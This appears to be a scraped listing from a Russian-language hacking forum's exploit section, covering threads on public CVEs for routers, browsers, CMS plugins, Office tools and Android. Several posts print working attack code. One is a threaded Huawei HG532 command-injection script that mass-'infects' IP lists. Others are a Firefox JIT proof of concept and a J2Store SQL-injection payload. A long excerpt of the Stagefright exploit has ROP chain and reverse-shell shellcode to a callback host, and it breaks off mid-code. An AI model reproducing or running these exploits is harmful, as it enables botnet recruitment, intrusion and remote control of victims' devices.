Last Post: 2019-03-28T13:26:27+0000
Author: weaver
Prefix: Remote
Replies: 1 Views: 2K

CVE-2019-1653/CVE-2019-1652 Exploits For Dumping Cisco RV320 Configurations and getting RCE

github.com

[ GitHub - 0x27/CiscoRV320Dump: CVE-2019-1652 /CVE-2019-1653 Exploits For

Dumping Cisco RV320 Configurations & Debugging Data AND Remote Root Exploit! ](https://github.com/0x27/CiscoRV320Dump)

CVE-2019-1652 /CVE-2019-1653 Exploits For Dumping Cisco RV320 Configurations & Debugging Data AND Remote Root Exploit! - 0x27/CiscoRV320Dump

github.com github.com

RCE, Huawei Router HG532, CVE-2017-17215
ID: 67686ba3b4103b69df379cf7
Thread ID: 28460
Created: 2019-03-28T12:07:49+0000
Last Post: 2019-03-28T12:09:26+0000
Author: weaver
Prefix: Web
Replies: 1 Views: 2K

Python:Copy to clipboard

import threading, sys, time, random, socket, re, os, struct, array, requests
from requests.auth import HTTPDigestAuth
ips = open(sys.argv[1], "r").readlines()
cmd = "" # Your MIPS (SSHD)
rm = "<?xml version=\"1.0\" ?>\n    <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n    <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n    <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n    </s:Body>\n    </s:Envelope>"

class exploit(threading.Thread):
        def __init__ (self, ip):
            threading.Thread.__init__(self)
            self.ip = str(ip).rstrip('\n')
        def run(self):
            try:
                url = "http://" + self.ip + ":37215/ctrlt/DeviceUpgrade_1"
                requests.post(url, timeout=5, auth=HTTPDigestAuth('dslf-config', 'admin'), data=rm)
                print "[SOAP] Attempting to infect " + self.ip
            except Exception as e:
                pass

for ip in ips:
    try:
        n = exploit(ip)
        n.start()
        time.sleep(0.03)
    except:
        pass
Buffer overflow, Firefox 66.0, CVE-2019-9810
ID: 67686ba3b4103b69df379cf8
Thread ID: 28403
Created: 2019-03-25T14:44:41+0000
Last Post: 2019-03-25T14:59:03+0000
Author: weaver
Prefix: DoS
Replies: 2 Views: 2K

CVE-2019-9810-PoC
Array.prototype.slice wrong alias information
This bug I was found last year. And it was collision with @fluoroacetate in pwn2own 2019.
It was fixed in firefox 66.0.1

hello_firefox_11_30.html

HTML:Copy to clipboard

<script>
let size = 64;
garr = [];
j = 0;
function gc(){
    var tmp = [];
    for(let i = 0;i < 0x20000;i++){
        tmp[i] = new Uint32Array(size * 2);
        for(let j = 0;j < (size*2);j+=2){
            tmp[i][j] = 0x12345678;
            tmp[i][j+1] = 0xfffe0123;
        }
    }
    garr[j++] = tmp;
}
let arr = [{},2.2];
let obj = {};
obj[Symbol.species] = function(){
    victim.length = 0x0;
    for(let i = 0;i < 0x2000;i++){
        gvictim[i].length = 0x0;
        gvictim[i] = null;
    }
    gc();
    //Array.isArray(garr[0][0x10000]);
    return [1.1];
}
let gvictim = [];
for(let i = 0;i < 0x1000;i++){
    gvictim[i] = [1.1,2.2];
    gvictim[i].length = size;
    gvictim[i].fill(3.3);
}
let victim = [1.1,2.2];
victim.length = size;
victim.fill(3.3);
for(let i = 0x1000;i < 0x2000;i++){
    gvictim[i] = [1.1,2.2];
    gvictim[i].length = size;
    gvictim[i].fill(3.3);
}
function fake(arg){
}
for(let i = 0;i < size;i++){
    fake["x"+i.toString()] = 2.2;
}
function jit(){
    victim[1] = 1.1;
    arr.slice();
    //fake.x2 = 6.17651672645e-312;
    return victim[2];
}
flag = 0;
for(let i = 0;i < 0x10000;i++){
    xx = jit();
}
arr.constructor = obj;
Array.isArray(victim);
alert(333);
alert(jit());
</script>
WinRAR < 5.70 Code Execution CVE-2018-20250\20251\20252\20253
ID: 67686ba3b4103b69df379cf9
Thread ID: 28007
Created: 2019-02-23T20:08:56+0000
Last Post: 2019-03-01T22:46:17+0000
Author: pablo
Prefix: Local
Replies: 1 Views: 2K

Незакрытая в течение 19 лет уязвимость WinRar позволяет разместить распакованный файл в произвольном месте

Специалисты по кибербезопасности из компании Check Point [обнаружили](https://research.checkpoint.com/extracting-code-execution-from- winrar/) серьезную уязвимость в архиваторе WinRar. Затем они же показали, как при помощи этой уязвимости можно распаковать файл в произвольное место — совсем не то, которое указывает пользователь.

Ну а поскольку пользователей архиватора около полумиллиарда, то эта уязвимость угрожает всем. Стоит отметить, что проблема, о которой идет речь, существует уже 19 лет, уязвимость за это время никто не закрыл.
Специалисты, которые обнаружили проблему, сначала уведомили разработчиков WinRar и те закрыли «дыру». И только после этого представители Check Point изложили детали в сети, рассказав о технических подробностях уже ликвидированной уязвимости.

Как оказалось, проблема связана с библиотекой UNACEV2.DLL. Она входит в состав дистрибутива практически всех версий архиватора уже очень много лет. Последний раз обновление библиотеки выполнялось в 2005 году. Отвечает она за распаковку архивов в формате ACE (которые, к слову, встречаются не так и часто). Понятно, что за время, прошедшее с момента обновления библиотеки в мире информационных технологий произошло много всего, а скрытую уязвимость смогли обнаружить без особых проблем.

Для того, чтобы распаковать свой файл в произвольное место требуется сформировать архив ACE. Лишь этот путь позволит обойти указанную пользователем директорию распаковки. Специалисты по информационной безопасности смогли разместить зловредное ПО в директории Startup, откуда вредонос будет запускаться при каждой загрузке системы.

Проблема не единичная, специалисты обнаружили сразу несколько уязвимостей (CVE-2018-20250, CVE-2018-20251, CVE-2018-20252 и CVE-2018-20253). Но их ликвидировали в релизе WinRAR 5.70 Beta 1. Стоит отметить, что решение было оригинальным. В связи с тем, что исходный код библиотеки UNACEV2.DLL оказался утрачен много лет назад, его решили не возобновлять. Никто не проводил реверс- инжиниринг библиотеки, разработчики полностью отказались от поддержки формата ACE.

Стоит отметить, что уязвимости нулевого дня, подобные этой, охотно скупают компании, которые занимаются приобретением технологий для различных государств и военных. Одна из организаций, которая занимается скупкой уязвимостей и эксплоитов, является Zerodium. Относительно недавно она повысила награду за работающие инструменты взлома WhatsApp и iMessage, с нескольких сотен тысяч долларов США до $1 млн.

WinRAR < 5.70 Code Execution CVE-2018-20250\20251\20252\20253

![research.checkpoint.com](/proxy.php?image=https%3A%2F%2Fresearch.checkpoint.com%2Fwp- content%2Fuploads%2F2019%2F02%2FWinRAR_1021x580.jpg&hash=1b2ef68cf8d5db360c959b03a3ced3c8&return_error=1)

[ Extracting a 19 Year Old Code Execution from WinRAR - Check Point

Research ](https://research.checkpoint.com/extracting-code-execution-from- winrar/)

Research by: Nadav Grossman Introduction In this article, we tell the story of how we found a logical bug using the WinAFL fuzzer and exploited it in WinRAR to gain full control over a victim’s computer. The exploit works by just extracting an archive, and puts over 500 million users at risk...

![research.checkpoint.com](/proxy.php?image=https%3A%2F%2Fresearch.checkpoint.com%2Fwp- content%2Fuploads%2F2022%2F10%2Fcropped- pavicon_CPR-03-e1666694691376-32x32.png&hash=3632203c3905717f63a5e77503250c05&return_error=1) research.checkpoint.com

J2Store Plugin for Joomla! < 3.3.6 - SQL Injection
ID: 67686ba3b4103b69df379cfa
Thread ID: 28098
Created: 2019-03-01T20:40:51+0000
Last Post: 2019-03-01T20:40:51+0000
Author: Kot Vasiliy
Prefix: Web
Replies: 0 Views: 2K

Exploit Title: J2Store Plugin for Joomla! < 3.3.6 - SQL Injection

Date: 19/02/2019

Author: Andrei Conache

Twitter: @andrei_conache

Contact: andrei.conache[at]protonmail.com

Software Link: https://www.j2store.org

Version: 3.x-3.3.6

Tested on: Linux

CVE: CVE-2019-9184

Code:Copy to clipboard

- Parameter vulnerable: "product_option[j]" array (where j depends on entries)
- Example: [URL]/index.php?option=com_j2store&view=product&task=update&product_option[j]=%27%22%3E2&product_qty=1&product_id=XX&option=com_j2store&ajax=0&_=XXXXXXXXXX
- sqlmap: product_option[j]=%28CASE%20WHEN%20%284862%3D4862%29%20THEN%204862%20ELSE%204862%2A%28SELECT%204862%20FROM%20DUAL%20UNION%20SELECT%205348%20FROM%20DUAL%29%20END%29

Источник

CVE-2019-6340 Drupal < 8.6.10 и 8.5.11 REST services RCE PoC
ID: 67686ba3b4103b69df379cfb
Thread ID: 28044
Created: 2019-02-26T16:23:00+0000
Last Post: 2019-02-26T16:23:00+0000
Author: tabac
Prefix: Web
Replies: 0 Views: 2K

CVE-2019-6340 Drupal < 8.6.10 и 8.5.11 REST services Unauthenticated RCE PoC

Подробности:
https://www.drupal.org/sa-core-2019-003
https://www.ambionics.io/blog/drupal8-rce

__https://twitter.com/x/status/1099206271901798400

Пример использования:

Code:Copy to clipboard

$ python cve-2019-6340.py http://127.0.0.1/ "ps auxf"

exploit:
https://www.ambionics.io/blog/drupal8-rce

![www.exploit-db.com](/proxy.php?image=https%3A%2F%2Fwww.exploit- db.com%2Fimages%2Fspider- orange.png&hash=b9926ee90dd7e270c1508ce4a1ce7729&return_error=1)

[ Drupal < 8.6.9 - REST Module Remote Code Execution

](https://www.exploit-db.com/exploits/46459)

Drupal < 8.6.9 - REST Module Remote Code Execution. CVE-2019-6340 . webapps exploit for PHP platform

![www.exploit-db.com](/proxy.php?image=https%3A%2F%2Fwww.exploit- db.com%2Ffavicon.ico&hash=2f3ef8e0d310f23c9d8de649a987be9a&return_error=1) www.exploit-db.com

Adobe Reader v19.010.20069, CVE - N\A, воровство NTLM-хешей
ID: 67686ba3b4103b69df379cfc
Thread ID: 27837
Created: 2019-02-13T13:33:03+0000
Last Post: 2019-02-13T14:55:17+0000
Author: lukas
Prefix: Local
Replies: 1 Views: 2K

Специалисты ACROS Security [выпустили](https://blog.0patch.com/2019/02/sorry-adobe-reader-were-not- letting-you.html) временный патч, устраняющий опасную уязвимость в Adobe Reader, которая предоставляла злоумышленникам возможность похитить NTLM- хэши.

Данная уязвимость (пока ей не присвоен идентификатор CVE) позволяет PDF- документу автоматически отправлять SMB-запрос на сервер сразу после того, как документ будет открыт. SMB-протокол позволяет приложению или пользователю получить доступ к файлам на удаленном сервере. SMB-запросы включают NTLM-хэши (NT LAN Manager), которые атакующие могут выкрасть. Кроме того, уязвимость позволяет злоумышленнику узнать, когда пользователь просмотрел документ.

Уязвимость затрагивает последнюю версию Adobe Reader DC (2019.010.20069) и, как полагают исследователи, ей могут быть подвержены предыдущие релизы ПО.

Уязвимость была [обнаружена](https://insert- script.blogspot.com/2019/01/adobe-reader-pdf-callback-via-xslt.html) исследователем безопасности Алексом Инфюром (Alex Inführ) в конце января 2019 года. Он также опубликовал PoC-код для ее эксплуатации.

Выявленная проблема была схожа с ранее описанной CVE-2018-4993 в элементе PDF-документов, позволявшей автоматическую загрузку другого PDF-файла с удаленного общедоступного ресурса. Adobe исправила данную проблему, добавив предупреждение при попытке документа отравить запрос к удаленной общедоступной папке.

В отличие от CVE-2018-4993, эксплуатирующей запись /F для удаленной загрузки файлов, новая уязвимость использует возможность загрузки удаленных XML-таблиц стилей через SMB-запросы. Что интересно, при загрузке XML-таблиц по протоколу HTTP отображается соответствующее уведомление, однако при использовании UNC-пути предупреждение не выдается.

Временный патч добавляет предупреждение при загрузке таблиц стилей через UNC, когда документ пытается получить доступ к файлу в сети. По словам представителей Adobe, компания планирует выпустить официальный патч на этой неделе.

Click to expand...

PoC - <https://insert-script.blogspot.com/2019/01/adobe-reader-pdf- callback-via-xslt.html>

Libreoffice RCE - CVE-2018-16858
ID: 67686ba3b4103b69df379cfd
Thread ID: 27718
Created: 2019-02-06T19:37:27+0000
Last Post: 2019-02-06T19:37:27+0000
Author: pablo
Prefix: Local
Replies: 0 Views: 2K

Libreoffice (CVE-2018-16858) - Remote Code Execution via Macro/Event execution

ИБ-специалист Алекс Инфур (Alex Inführ) [сообщил](https://insert- script.blogspot.com/2019/02/libreoffice-cve-2018-16858-remote-code.html) об опасной RCE-уязвимости в составе опенсорсных LibreOffice и Apache OpenOffice ([CVE-2018-16858](https://cve.mitre.org/cgi- bin/cvename.cgi?name=CVE-2018-16858)). Атакующий может добиться удаленного исполнения произвольного кода через автоматическое исполнение макросов. По стуи, для срабатывания атаки пользователь должен просто провести курсором над вредоносной частью документа ODT.

Проблема представляет собой обход каталога и ее эксплуатация все же требует соблюдения ряда условий, из-за которых атаки на уязвимые версии офисных пакетов вряд ли могут носить массовый характер. Так, вредоносный документ атакующего должен содержать не только «невидимую» ссылку (например, написанную белым цветом), которая срабатывает при событии onmouseover, то есть наведении курсора. Также, после наведения курсора на вредоносную ссылку, документ должен обращаться к локальному Python-скрипту. Демонстрацию атаки на LibreOffice можно увидеть ниже.

RCE Libreoffice CVE-2018-16858:
<https://insert-script.blogspot.com/2019/02/libreoffice-cve-2018-16858-remote- code.html>

CiscoRV320Dump, CVE-2019-1652 / CVE-2019-1653
ID: 67686ba3b4103b69df379cfe
Thread ID: 27529
Created: 2019-01-29T11:54:56+0000
Last Post: 2019-01-29T11:54:56+0000
Author: lukas
Prefix: Remote
Replies: 0 Views: 2K

Опубликован новый эксплоит для Cisco

CiscoRV320Dump, CVE-2019-1652 & CVE-2019-1653

Маршрутизаторы Cisco RV320 и RV325 стали мишенью для хакеров. Сканирования и атаки начались в минувшую пятницу, 25 января, после того как ИБ-специалист Дэвид Дэвидсон опубликовал на GitHub POC эксплоит для серьезных уязвимостей в этих моделях маршрутизаторов.

Речь идет сразу о двух багах. Так, уязвимость CVE-2019-1653 позволяет удаленному атакующему получить данные о конфигурации устройства (без пароля). Вторая проблема, CVE-2019-1652, в свою очередь, позволит удаленному злоумышленнику внедрять и выполнять произвольные команды на уязвимом девайсе.

Трой Мурш, ИБ-эксперт, запустил интерактивную карту, показывающую местоположение уязвимых устройств. Как можно видеть, большинство из них находятся на территории США.

CVE-2019-1652 & CVE-2019-1653 Exploit - https://github.com/0x27/CiscoRV320Dump
карта - https://docs.google.com/spreadsheets/d/1ZocV8n4DOmcKJ_ugjjQ_gjIAmDHxT1JBhVxIAdABVyY
Cisco advisory - <https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco- sa-20190123-rv-info>

0day Windows 10, 8, 7. ".contact" File HTML Injection (RCE)
ID: 67686ba3b4103b69df379cff
Thread ID: 27468
Created: 2019-01-25T11:17:01+0000
Last Post: 2019-01-28T23:54:16+0000
Author: tabac
Prefix: Local
Replies: 1 Views: 2K

Microsoft Windows ".contact" File HTML Injection Mailto: Link Remote Code Execution 0day ZDI-CAN-7591 Windows 10, Windows 8, Windows 7, and Windows Vista.

0day ZDI-CAN-7591
https://www.zerodayinitiative.com/advisories/ZDI-19-121/

POC
https://cxsecurity.com/issue/WLB-2019010225

Joomla Codextrous B2jcontact 2.1.17 Shell Upload
ID: 67686ba3b4103b69df379d01
Thread ID: 27325
Created: 2019-01-17T10:27:54+0000
Last Post: 2019-01-17T10:27:54+0000
Author: Raskolnikov
Prefix: Web
Replies: 0 Views: 2K

B2jcontact - платный плагин joomla для создания контактных форм
Date : 04/01/2019

Эксплойт:
https://dl.packetstormsecurity.net/1901-exploits/joomlacodextrous2117-shell.txt

PPSX Exploit (DDE) builder
ID: 67686ba3b4103b69df379d02
Thread ID: 27141
Created: 2019-01-04T14:24:12+0000
Last Post: 2019-01-04T15:54:53+0000
Author: Aldesa
Prefix: Local
Replies: 3 Views: 2K

сабж в названии
пароль от архива

You must have at least 5 message(s) to view the content.

Word DDE PoC (py script's)
ID: 67686ba3b4103b69df379d03
Thread ID: 27143
Created: 2019-01-04T14:28:40+0000
Last Post: 2019-01-04T14:28:40+0000
Author: Aldesa
Prefix: Local
Replies: 0 Views: 2K

Обфускатор и билдер DDE на ворд.

пароль от архива

You must have at least 5 message(s) to view the content.

VB 3,4,5 XSS
ID: 67686ba3b4103b69df379d04
Thread ID: 27142
Created: 2019-01-04T14:25:56+0000
Last Post: 2019-01-04T14:25:56+0000
Author: Aldesa
Prefix: Web
Replies: 0 Views: 2K

Везде плавало, продавали все кому не лень.
Так что думаю вылить в паблик.

пароль от архива

You must have at least 5 message(s) to view the content.

Windows SandboxEscape POC exploit
ID: 67686ba3b4103b69df379d05
Thread ID: 27115
Created: 2019-01-02T14:47:02+0000
Last Post: 2019-01-02T14:47:02+0000
Author: tabac
Prefix: DoS
Replies: 0 Views: 2K

Windows SandboxEscape POC exploit

Windows Zero-Day Bug Allows Overwriting Files with Arbitrary Data

A security researcher has disclosed exploit code for a fourth zero-day vulnerability in Windows operating system in just as many months. The bug enables overwriting a target file with arbitrary data.

Running the proof-of-concept (PoC) code provided by the researcher that uses the online alias SandboxEscaper results in overwriting 'pci.sys' with information about software and hardware problems, collected through the Windows Error Reporting (WER) event-based feedback infrastructure.

The bug could also take a while to produce an effect, says SandboxEscaper, on account that it relies on a race condition and other operations may break the outcome.

A vulnerability analyst at CERT/CC, who was able to reproduce the bug Windows 10 Home, build 17134.

![](/proxy.php?image=https%3A%2F%2Fwww.bleepstatic.com%2Fimages%2Fnews%2Fu%2F1100723%2FPCIsysboot- error.png&hash=1b80396c998fb10eba1bf9bfc8bdb335)

POC exploit
https://github.com/SandboxEscaper/randomrepo
https://github.com/SandboxEscaper/randomrepo/blob/master/angrypolarbearbug.rar

CVE-2018-8414 POC, Windows Package Setting RCE Vulnerability
ID: 67686ba3b4103b69df379d06
Thread ID: 26876
Created: 2018-12-13T15:32:52+0000
Last Post: 2018-12-13T15:32:52+0000
Author: tabac
Prefix: Local
Replies: 0 Views: 2K

CVE-2018-8414 POC - Windows Shell Package Setting Remote Code Execution Vulnerability
Since : Windows 10 Version 1703 to 1803 / Windows Server Version 1709 to 1803
Note : Some time the exploit fail depending of the file location (default policy settings), so for that just copy the file in the Package Settings Dir and it should execute rightly (C:\Users\[USER]\AppData\Local\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\LocalState\Indexed\Settings\[LANGUAGE]\)
More details : [https://portal.msrc.microsoft.com/en- US/sec...y/CVE-2018-8414](https://portal.msrc.microsoft.com/en-US/security- guidance/advisory/CVE-2018-8414)
GitHub : https://github.com/wherethef2ckisr0da/CVE-2018-8414-POC

A remote code execution vulnerability exists when the Windows Shell does not properly validate file paths.

An attacker who successfully exploited this vulnerability could run arbitrary code in the context of the current user. If the current user is logged on as an administrator, an attacker could take control of the affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with elevated privileges. Users whose accounts are configured to have fewer privileges on the system could be less impacted than users who operate with administrative privileges.

To exploit the vulnerability, an attacker must entice a user to open a specially crafted file. In an email attack scenario, an attacker could exploit the vulnerability by sending the specially crafted file to the user and then convincing the user to open the file. In a web-based attack scenario, an attacker could host a website (or leverage a compromised website that accepts or hosts user-provided content) that contains a specially crafted file designed to exploit the vulnerability. An attacker would have no way to force a user to visit the website. Instead, an attacker would have to convince a user to click a link and open the specially crafted file.

This security update addresses the vulnerability by ensuring the Windows Shell properly validates file paths.

Click to expand...

Adobe Flash Player <= 31.0.0.153, CVE-2018-15982
ID: 67686ba3b4103b69df379d07
Thread ID: 26862
Created: 2018-12-12T14:44:12+0000
Last Post: 2018-12-12T15:33:08+0000
Author: tabac
Prefix: Remote
Replies: 1 Views: 2K

UAF\RCE Adobe Flash Player <= 31.0.0.153
CVE-2018-15982

новости https://www.securitylab.ru/news/496838.php

POC:
https://github.com/prsecurity/CVE-2018-15982
https://github.com/Dreametion/CVE-2018-15982_PoC

Видео:

Kubernetes API Server (Remote Privilege Escalation), CVE-2018-1002105
ID: 67686ba3b4103b69df379d08
Thread ID: 26861
Created: 2018-12-12T14:41:59+0000
Last Post: 2018-12-12T14:41:59+0000
Author: tabac
Prefix: Remote
Replies: 0 Views: 2K

Kubernetes API Server
Remote Privilege Escalation
CVE-2018-1002105

<https://www.twistlock.com/labs-blog/demystifying-kubernetes- cve-2018-1002105-dead-simple-exploit/>

https://github.com/gravitational/cve-2018-1002105

https://github.com/evict/poc_CVE-2018-1002105#unauthenticated-poc

CVE-2018-9206 в jQuery File Upload
ID: 67686ba3b4103b69df379d0a
Thread ID: 26362
Created: 2018-10-23T18:49:20+0000
Last Post: 2018-10-23T18:49:20+0000
Author: tabac
Prefix: Web
Replies: 0 Views: 2K

Эксперт Ларри Кешдоллар (Larry Cashdollar), сотрудник Akamai SIRT (Security Intelligence Response Team), [обнаружил опасную проблему](https://blogs.akamai.com/sitr/2018/10/having-the-security-rug- pulled-out-from-under-you.html) CVE-2018-9206 в популярном плагине jQuery File Upload, который создал немецкий девелопер Себастьян Чан (Sebastian Tschan), более известный как Blueimp. Уязвимы все версии плагина до версии 9.22.1.

Данный плагин – самый заплюсованный jQuery-проект на GitHub после самого фреймворка, у него насчитывается более 7800 форков, он интегрирован с сотнями, если не с тысячами, различных проектов, включая CMS, CRM, интранет-решения, плагины для WordPress, аддоны для Drupal, компоненты Joomla и так далее. Фактически, уязвимость в jQuery File Upload может угрожать множеству платформ, установленных в самых разных местах.

Кешдоллар объясняет, что уязвимость в плагине может использоваться для загрузки на сервер вредоносных файлов, таких как бэкдоры и веб-шеллы. Хуже того, проблема уже используется злоумышленниками, и это происходит как минимум с 2016 года. На YouTube даже можно обнаружить туториалы по эксплуатации бага в jQuery File Upload, самые ранние из которых датированы августом 2015 года.

Когда специалист уведомил о проблеме разработчика, Blueimp тщательно изучил его отчет и провел собственное исследование кода своей разработки. Как оказалось, корни бага уходят к изменениям в Apache Web Server, появившихся в 2010 году. Эти изменения косвенно затронули и изменили поведение плагина на серверах Apache.

Дело в том, что в ноябре 2010 года, за несколько дней до релиза первой версии jQuery File Upload, разработчики Apache Foundation представили Apache HTTPD версии 2.3.9. Этот релиз не отличался чем-то особенным, если не считать того факта, что начиная с этой версии у Apache HTTPD-сервера появилась опция, позволяющая владельцу сервера игнорировать кастомные настройки безопасности для индивидуальных директорий, сделанные с помощью файлов .htaccess. Эта настройка была активна по умолчанию.

В свою очередь, jQuery File Upload был создан таким образом, чтобы полагаться в работе именно на кастомный файл .htaccess, содержащий ограничения безопасности для директории загрузки. Тогда разработчик попросту не знал о том, что несколько дней назад создатели Apache HTTPD внесли в свой продукт изменение, вредящее корректной работе его плагина.

Пытаясь оценить потенциальный ущерб от обнаруженной уязвимости, Ларри Кешдоллар изучил GitHub-форки плагина и пришел к неутешительным выводам. Проверив 1000 различных решений из 7800 доступных, он обнаружил, что уязвимы практически все (не поддались уязвимости лишь 36 проектов). Исследователь уже опубликовал на GitHub PoC- эксплоит и код, который использовал для тестирования.

PoC-эксплоит jQuery File Upload (CVE-2018-9206) - https://github.com/lcashdol/Exploits/tree/master/CVE-2018-9206

Exploit for RCE Vulnerability CVE-2015-1538
ID: 67686ba3b4103b69df379d0b
Thread ID: 26082
Created: 2015-09-10T06:46:27+0000
Last Post: 2015-09-24T22:47:06+0000
Author: krest
Prefix: Remote
Replies: 2 Views: 2K

Exploit for RCE Vulnerability CVE-2015-1538

Code:Copy to clipboard

#!/usr/bin/env python
# Joshua J. Drake (@jduck) of ZIMPERIUM zLabs
# Shout outs to our friends at Optiv (formerly Accuvant Labs)
# (C) Joshua J. Drake, ZIMPERIUM Inc, Mobile Threat Protection, 2015
# www.zimperium.com
#
# Exploit for RCE Vulnerability CVE-2015-1538 #1
# Integer Overflow in the libstagefright MP4 ‘stsc’ atom handling
#
# Don’t forget, the output of “create_mp4” can be delivered many ways!
# MMS is the most dangerous attack vector, but not the only one…
#
# DISCLAIMER: This exploit is for testing and educational purposes only. Any
# other usage for this code is not allowed. Use at your own risk.
#
# “With great power comes great responsibility.” – Uncle Ben
#
import struct
import socket
#
# Creates a single MP4 atom – LEN, TAG, DATA
#
def make_chunk(tag, data):
   if len(tag) != 4:
       raise ‘Yo! They call it “FourCC” for a reason.’
   ret = struct.pack(‘>L’, len(data) + 8)
   ret += tag
   ret += data
   return ret
#
# Make an ‘stco’ atom – Sample Table Chunk Offets
#
def make_stco(extra=”):
   ret =  struct.pack(‘>L’, 0) # version
   ret += struct.pack(‘>L’, 0) # mNumChunkOffsets
   return make_chunk(‘stco’, ret+extra)
#
# Make an ‘stsz’ atom – Sample Table Size
#
def make_stsz(extra=”):
   ret =  struct.pack(‘>L’, 0) # version
   ret += struct.pack(‘>L’, 0) # mDefaultSampleSize
   ret += struct.pack(‘>L’, 0) # mNumSampleSizes
   return make_chunk(‘stsz’, ret+extra)
#
# Make an ‘stts’ atom – Sample Table Time-to-Sample
#
def make_stts():
   ret =  struct.pack(‘>L’, 0) # version
   ret += struct.pack(‘>L’, 0) # mTimeToSampleCount
   return make_chunk(‘stts’, ret)
#
# This creates a single Sample Table Sample-to-Chunk entry
#
def make_stsc_entry(start, per, desc):
   ret = ”
   ret += struct.pack(‘>L’, start + 1)
   ret += struct.pack(‘>L’, per)
   ret += struct.pack(‘>L’, desc)
   return ret
#
# Make an ‘stsc’ chunk – Sample Table Sample-to-Chunk
#
# If the caller desires, we will attempt to trigger (CVE-2015-1538 #1) and
# cause a heap overflow.
#
def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False):
   ret =  struct.pack(‘>L’, 0) # version/flags
   # this is the clean version…
   if not do_overflow:
       ret += struct.pack(‘>L’, num_alloc) # mNumSampleToChunkOffsets
       ret += ‘Z’ * (12 * num_alloc)
       return make_chunk(‘stsc’, ret)

   # now the explicit version. (trigger the bug)
   ret += struct.pack(‘>L’, 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets
   # fill in the entries that will overflow the buffer
   for x in range(0, num_write):
       ret += make_stsc_entry(sp_addr, sp_addr, sp_addr)

   ret = make_chunk(‘stsc’, ret)

   # patch the data_size
   ret = struct.pack(‘>L’, 8 + 8 + (num_alloc * 12)) + ret[4:]

   return ret

#
# Build the ROP chain
#
# ROP pivot by Georg Wicherski! Thanks!
#
“””
(gdb) x/10i __dl_restore_core_regs
  0xb0002850 <__dl_restore_core_regs>: add r1, r0, #52; 0x34
  0xb0002854 <__dl_restore_core_regs+4>:   ldm r1, {r3, r4, r5}
  0xb0002858 <__dl_restore_core_regs+8>:   push    {r3, r4, r5}
  0xb000285c <__dl_restore_core_regs+12>:  ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11}
  0xb0002860 <__dl_restore_core_regs+16>:  ldm sp, {sp, lr, pc}
“””
“””
b0001144 <__dl_mprotect>:
b0001144:       e92d0090        push    {r4, r7}
b0001148:       e3a0707d        mov     r7, #125      ; 0x7d
b000114c:       ef000000        svc     0x00000000
b0001150:       e8bd0090        pop     {r4, r7}
b0001154:       e1b00000        movs    r0, r0
b0001158:       512fff1e        bxpl    lr
b000115c:       ea0015cc        b       b0006894 <__dl_raise+0x10>
“””
def build_rop(off, sp_addr, newpc_val, cb_host, cb_port):
   rop = ”
   rop += struct.pack(‘<L’, sp_addr + off + 0x10) # new sp
   rop += struct.pack(‘<L’, 0xb0002a98)           # new lr – pop {pc}
   rop += struct.pack(‘<L’, 0xb00038b2+1)         # new pc: pop {r0, r1, r2, r3, r4, pc}

   rop += struct.pack(‘<L’, sp_addr & 0xfffff000) # new r0 – base address (page aligned)
   rop += struct.pack(‘<L’, 0x1000)               # new r1 – length
   rop += struct.pack(‘<L’, 7)                    # new r2 – protection
   rop += struct.pack(‘<L’, 0xd000d003)           # new r3 – scratch
   rop += struct.pack(‘<L’, 0xd000d004)           # new r4 – scratch
   rop += struct.pack(‘<L’, 0xb0001144)           # new pc – _dl_mprotect

   native_start = sp_addr + 0x80
   rop += struct.pack(‘<L’, native_start)         # address of native payload
   #rop += struct.pack(‘<L’, 0xfeedfed5)          # top of stack…
   # linux/armle/shell_reverse_tcp (modified to pass env and fork/exit)
   buf =  ”
   # fork
   buf += ‘\x02\x70\xa0\xe3’
   buf += ‘\x00\x00\x00\xef’
   # continue if not parent…
   buf += ‘\x00\x00\x50\xe3’
   buf += ‘\x02\x00\x00\x0a’
   # exit parent
   buf += ‘\x00\x00\xa0\xe3’
   buf += ‘\x01\x70\xa0\xe3’
   buf += ‘\x00\x00\x00\xef’
   # setsid in child
   buf += ‘\x42\x70\xa0\xe3’
   buf += ‘\x00\x00\x00\xef’
   # socket/connect/dup2/dup2/dup2
   buf += ‘\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05\x20\x81\xe2\x8c’
   buf += ‘\x70\xa0\xe3\x8d\x70\x87\xe2\x00\x00\x00\xef\x00\x60’
   buf += ‘\xa0\xe1\x6c\x10\x8f\xe2\x10\x20\xa0\xe3\x8d\x70\xa0’
   buf += ‘\xe3\x8e\x70\x87\xe2\x00\x00\x00\xef\x06\x00\xa0\xe1’
   buf += ‘\x00\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x06’
   buf += ‘\x00\xa0\xe1\x01\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00’
   buf += ‘\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3\x3f\x70\xa0’
   buf += ‘\xe3\x00\x00\x00\xef’
   # execve(shell, argv, env)
   buf += ‘\x30\x00\x8f\xe2\x04\x40\x24\xe0’
   buf += ‘\x10\x00\x2d\xe9\x38\x30\x8f\xe2\x08\x00\x2d\xe9\x0d’
   buf += ‘\x20\xa0\xe1\x10\x00\x2d\xe9\x24\x40\x8f\xe2\x10\x00’
   buf += ‘\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00’
   buf += ‘\xef\x02\x00’
   # Add the connect back host/port
   buf += struct.pack(‘!H’, cb_port)
   cb_host = socket.inet_aton(cb_host)
   buf += struct.pack(‘=4s’, cb_host)
   # shell –
   buf += ‘/system/bin/sh\x00\x00’
   # argv –
   buf += ‘sh\x00\x00’
   # env –
   buf += ‘PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin\x00’

   # Add some identifiable stuff, just in case something goes awry…
   rop_start_off = 0x34
   x = rop_start_off + len(rop)
   while len(rop) < 0x80 – rop_start_off:
